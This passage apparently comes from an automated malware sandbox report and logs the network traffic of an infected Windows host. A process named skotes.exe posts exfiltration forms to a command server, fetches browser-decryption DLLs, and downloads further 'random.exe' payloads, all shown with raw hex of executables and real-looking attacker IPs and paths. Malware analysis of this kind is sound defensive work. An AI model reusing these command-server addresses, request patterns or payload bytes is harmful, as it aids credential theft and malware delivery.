2d 2d 2d [TRUNCATED] Data Ascii: ------KECFIDGCBFBAKEBFBKFBContent-Disposition: form-data; name="token"49d7d1b9c2c2cd1b51b0d26016c94f99fc45ae1aadf0e9f737498015422d491ce71847e3------KECFIDGCBFBAKEBFBKFBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KECFIDGCBFBAKEBFBKFBContent-Disposition: form-data; name="file"------KECFIDGCBFBAKEBFBKFB--
Dec 20, 2024 11:12:58.114038944 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 10:12:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 20, 2024 11:12:59.294508934 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJEGDBKFIJDAKFIDGHJE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 47 44 42 4b 46 49 4a 44 41 4b 46 49 44 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 39 64 37 64 31 62 39 63 32 63 32 63 64 31 62 35 31 62 30 64 32 36 30 31 36 63 39 34 66 39 39 66 63 34 35 61 65 31 61 61 64 66 30 65 39 66 37 33 37 34 39 38 30 31 35 34 32 32 64 34 39 31 63 65 37 31 38 34 37 65 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 47 44 42 4b 46 49 4a 44 41 4b 46 49 44 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 47 44 42 4b 46 49 4a 44 41 4b 46 49 44 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KJEGDBKFIJDAKFIDGHJEContent-Disposition: form-data; name="token"49d7d1b9c2c2cd1b51b0d26016c94f99fc45ae1aadf0e9f737498015422d491ce71847e3------KJEGDBKFIJDAKFIDGHJEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KJEGDBKFIJDAKFIDGHJEContent-Disposition: form-data; name="file"------KJEGDBKFIJDAKFIDGHJE--
Dec 20, 2024 11:13:00.227751017 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 10:12:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 20, 2024 11:13:01.609472990 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 20, 2024 11:13:02.046964884 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 10:13:01 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Dec 20, 2024 11:13:02.047008991 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Dec 20, 2024 11:13:02.047036886 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Dec 20, 2024 11:13:02.047055006 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Dec 20, 2024 11:13:02.047071934 CET	1236	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Dec 20, 2024 11:13:02.047090054 CET	1236	IN	Data Raw: f0 8d 86 00 ff ff ff 3d 00 ff ff ff 77 0a 68 0e e0 ff ff e9 d0 00 00 00 8b 45 08 85 c0 0f 84 c0 00 00 00 8d 9d f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 50 e8 28 f9 07 00 83 c4 0c bf 00 01 00 00 0f 1f 80 00 00 00 00 56 ff 75 0c 53 e8 0f f9 07 00 Data Ascii: =whEhh !P(VuS)9wWuSufDT>\>=t%>>f1h
Dec 20, 2024 11:13:02.047107935 CET	1236	IN	Data Raw: 45 d0 0f 84 a4 00 00 00 89 55 e0 89 5d dc 8b 45 ec 04 01 89 4d d4 0f b6 c8 8a 5d e8 8b 55 f0 8a 24 0a 00 e3 0f b6 f3 8b 55 f0 8a 3c 32 8b 55 f0 88 3c 0a 8b 55 f0 88 24 32 00 e7 0f b6 f7 8b 4d 10 8a 21 8b 4d f0 32 24 31 8b 4d d4 8b 55 e4 88 22 ba Data Ascii: EU]EM]U$U<2U<U$2M!M2$1MU")UtDEU$U<2U<U$2MaM2$1MUbu-]En~uMMUEEM]}7
Dec 20, 2024 11:13:02.047224998 CET	1236	IN	Data Raw: 04 0f 82 3a 03 00 00 0f b6 c9 89 4d ec 31 c0 89 d1 89 7d e4 89 5d dc 66 0f 1f 84 00 00 00 00 00 89 45 e8 8b 55 e4 8b 04 02 89 45 d4 8b 45 e8 8b 55 ec 8d 44 02 01 89 d3 0f b6 c0 8b 7d f0 0f b6 14 07 00 d1 0f b6 f1 8a 34 37 88 34 07 88 14 37 00 d6 Data Ascii: :M1}]fEUEEUD}4747EED}4}4EUEUu}<7}<U2u4EUU}4}
Dec 20, 2024 11:13:02.055228949 CET	1236	IN	Data Raw: 01 cb 8b 52 14 89 95 3c ff ff ff 8b 4e 0c 89 8d a8 fe ff ff 11 d1 8b 46 28 89 85 c8 fe ff ff 01 c3 89 5d d4 8b 46 2c 89 85 cc fe ff ff 11 c1 8b 7e 4c 31 cf 8b 46 48 31 d8 81 f7 8c 68 05 9b 35 1f 6c 3e 2b 89 fb 81 c3 3b a7 ca 84 89 5d dc 89 c6 81 Data Ascii: R<NF(]F,~L1FH1h5l>+;]gu33`tSUSU`UM11UTEEMM11E`tS
Dec 20, 2024 11:13:02.055388927 CET	1236	IN	Data Raw: 5d 80 11 d9 89 4d f0 8b 75 a4 31 ce 89 75 a4 8b 8d 54 ff ff ff 31 c1 89 8d 54 ff ff ff 8b 45 e8 01 f0 89 45 e8 8b 7d c0 11 cf 31 c2 31 fb 89 d0 0f a4 d8 08 0f a4 d3 08 8b 8d 74 ff ff ff 8b 71 68 89 b5 24 ff ff ff 8b 55 b8 01 f2 8b 71 6c 89 b5 5c Data Ascii: ]Mu1uT1TEE}11tqh$Uql\MUMT1M1UMuuM11UMtBpTMRtdEpMxEU1U}1}E
Dec 20, 2024 11:13:03.962666035 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 20, 2024 11:13:04.400192976 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 10:13:04 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Dec 20, 2024 11:13:05.634196043 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 20, 2024 11:13:06.071583033 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 10:13:05 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Dec 20, 2024 11:13:07.151962996 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 20, 2024 11:13:07.589179039 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 10:13:07 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49907	31.41.244.11	80	2496	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 11:12:56.191730022 CET	59	OUT	GET /files/fate/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 20, 2024 11:12:57.513654947 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 10:12:57 GMT Content-Type: application/octet-stream Content-Length: 776832 Last-Modified: Tue, 17 Dec 2024 09:45:14 GMT Connection: keep-alive ETag: "6761482a-bda80" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 0c 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 ac 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL`g"RY@@7<.@X(9T.text `.rdata$@@.datal"P>@.bsSST `.tlsV@.rsrcX@@.reloc@Z@B.bsst@.bssp@
Dec 20, 2024 11:12:57.513719082 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 11:12:57.513753891 CET	1236	IN	Data Raw: ec 30 8b 5c 24 44 a1 c0 57 42 00 31 e0 89 44 24 2c 8b 43 3c 8b 6c 18 78 8b 44 1d 18 85 c0 0f 84 4f 01 00 00 8b 4c 1d 20 01 d9 89 4c 24 08 48 89 44 24 10 c7 04 24 00 00 00 00 89 5c 24 04 89 6c 24 0c 8b 44 24 08 8b 30 01 de 0f 57 c0 f2 0f 11 44 24 Data Ascii: 0\$DWB1D$,C<lxDOL L$HD$$\$l$D$0WD$$WD$V(w"\|$$D$(WVt$VfSCErPPD$\|$$l$(WVPe\$Dl$t$h5Vm
Dec 20, 2024 11:12:57.513808012 CET	1236	IN	Data Raw: f0 68 6d 64 85 93 ff 35 6c 64 42 00 e8 16 fb ff ff 83 c4 08 89 45 e4 8b 55 e4 ff d2 bb 49 05 00 00 be 11 50 42 00 6a 11 68 00 50 42 00 53 56 e8 96 fc ff ff 83 c4 10 6a 0a 68 00 c0 41 00 57 8b 7d 08 57 e8 82 fc ff ff 83 c4 10 68 01 dc af 8a ff 35 Data Ascii: hmd5ldBEUIPBjhPBSVjhAW}Wh5ldBMQj@SVuM11^_[]}uVPB'jT9BUSWV,\$@WB1D$(d=0w@ldBhb-/5ldBE(AD$
Dec 20, 2024 11:12:57.513850927 CET	896	IN	Data Raw: 42 00 31 e0 89 44 24 08 8b 01 8b 40 04 8b 7c 01 38 85 ff 74 48 89 e3 89 d9 56 e8 1a ff ff ff 80 7b 04 00 74 31 8b 07 89 f9 ff 50 34 83 f8 ff 0f 94 c0 8b 0e 8b 51 04 8d 0c 16 83 7c 16 38 00 0f 94 c4 08 c4 0f b6 c4 c1 e0 02 0b 44 16 0c 6a 00 50 e8 Data Ascii: B1D$@\|8tHV{t1P4Q\|8DjPnL$1^_[WV D$,WB1T$A#AuL$1 ^_\|$0t1PP?BBDBD@Bt$RWhABV?
Dec 20, 2024 11:12:57.513907909 CET	1236	IN	Data Raw: c2 08 00 e8 93 fa ff ff cc 8b 44 24 04 8b 54 24 08 89 10 89 48 04 c2 08 00 8b 44 24 04 8b 10 8b 40 04 8b 49 04 33 48 04 33 54 24 08 09 ca 0f 94 c0 c2 08 00 cc 53 57 56 83 ec 0c 8b 74 24 20 8b 44 24 1c 8b 15 c0 57 42 00 31 e2 89 54 24 08 8b 11 89 Data Ascii: D$T$HD$@I3H3T$SWVt$ D$WB1T$PWROVI3J3L$1^_[USWVWB1D$WD$W$t$8l$4\$0wx@Wt$<PXQ
Dec 20, 2024 11:12:57.513942003 CET	1236	IN	Data Raw: 01 fb 8b 74 24 20 56 ff 74 24 20 53 e8 96 54 00 00 83 c4 0c c6 04 1e 00 89 7d 00 89 e8 83 c4 08 5e 5f 5b 5d c2 08 00 89 f8 83 c8 0f 01 d1 39 c8 89 ce 0f 47 f0 89 f0 40 75 0a 31 c0 31 f6 4e e9 13 ff ff ff 3d 00 10 00 00 0f 83 fb fe ff ff 50 e8 64 Data Ascii: t$ Vt$ ST}^_[]9G@u11N=PdhkV@\|u.Dt%L8P4u@DjP}^WVWB1D$V&t!@L8D$Pf1HT
Dec 20, 2024 11:12:57.513976097 CET	448	IN	Data Raw: 57 56 8b 5c 24 14 8b 74 24 10 39 de 74 1b 89 cf 83 c7 08 0f b6 06 57 50 e8 f6 21 00 00 83 c4 08 88 06 46 39 de 75 ec 89 de 89 f0 5e 5f 5b c2 08 00 0f b6 44 24 04 83 c1 08 51 50 e8 d3 21 00 00 83 c4 08 c2 04 00 cc 56 8b 44 24 08 8b 74 24 0c 89 f1 Data Ascii: WV\$t$9tWP!F9u^_[D$QP!VD$t$)QPt$tO^D$VD$t$)QPt$JO^D$Vy~vxv^FtPVD$(A1VVQP78
Dec 20, 2024 11:12:57.514012098 CET	1236	IN	Data Raw: 1c 00 00 b9 cc 69 42 00 e8 ef 03 00 00 68 88 b8 41 00 e8 45 01 00 00 59 c3 68 92 b8 41 00 e8 39 01 00 00 59 c3 55 8b ec eb 0d ff 75 08 e8 a9 65 00 00 59 85 c0 74 0f ff 75 08 e8 28 a0 00 00 59 85 c0 74 e6 5d c3 83 7d 08 ff 0f 84 f2 20 00 00 e9 31 Data Ascii: iBhAEYhA9YUueYtu(Yt]} 1UuY]UEV AtjVYY^]U];WBu!UVWdBW09Bu>u&}>td,dBWBW0:B_
Dec 20, 2024 11:12:57.514046907 CET	1236	IN	Data Raw: ec 56 6a 00 6a 00 e8 93 9b 00 00 8b 75 08 85 c0 59 59 b9 53 03 42 00 0f 45 c8 51 8d 4e 24 e8 41 00 00 00 8b 45 0c 85 c0 74 0a 50 6a 00 e8 6c 9b 00 00 59 59 85 c0 b9 88 0e 42 00 0f 45 c8 51 8d 4e 2c e8 1d 00 00 00 5e 5d c3 55 8b ec 8b 45 08 83 78 Data Ascii: VjjuYYSBEQN$AEtPjlYYBEQN,^]UEx$tp$j>YY]USW}9;t>;t3Y#t*?VtF>u+FVYtVWPH^_[]VV(A?~YtvKYfA^UQj cEY
Dec 20, 2024 11:12:57.637247086 CET	1236	IN	Data Raw: 8b 01 8b 50 fc 2b c2 83 c0 fc 83 f8 1f 77 04 89 11 5d c3 e9 7b 81 00 00 8b 41 14 8b 51 10 83 f8 0f 76 02 8b 09 52 50 50 51 e8 45 00 00 00 83 c4 10 c3 8b 41 14 8b 51 10 83 f8 0f 76 02 8b 09 50 52 50 51 e8 2b 00 00 00 83 c4 10 c3 55 8b ec 8b 45 0c Data Ascii: P+w]{AQvRPPQEAQvPRPQ+UE9EtQvPuRQ]UUv<=At3MVuAW}F;F;GVPRW_^]UQS]VWMw+u;Bv+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49917	34.107.221.82	80	3720	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 11:12:58.180068016 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Dec 20, 2024 11:12:59.265974998 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 19 Dec 2024 13:54:49 GMT Age: 73090 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49931	185.215.113.43	80	2496	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 11:13:01.724292040 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 38 34 33 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018432001&unit=246122658369
Dec 20, 2024 11:13:03.068182945 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 10:13:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49940	31.41.244.11	80	2496	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 11:13:03.611377954 CET	63	OUT	GET /files/geopoxid/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 20, 2024 11:13:04.938502073 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 10:13:04 GMT Content-Type: application/octet-stream Content-Length: 1880576 Last-Modified: Wed, 18 Dec 2024 18:02:50 GMT Connection: keep-alive ETag: "67630e4a-1cb200" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 30 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 4a 00 00 04 00 00 69 eb 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 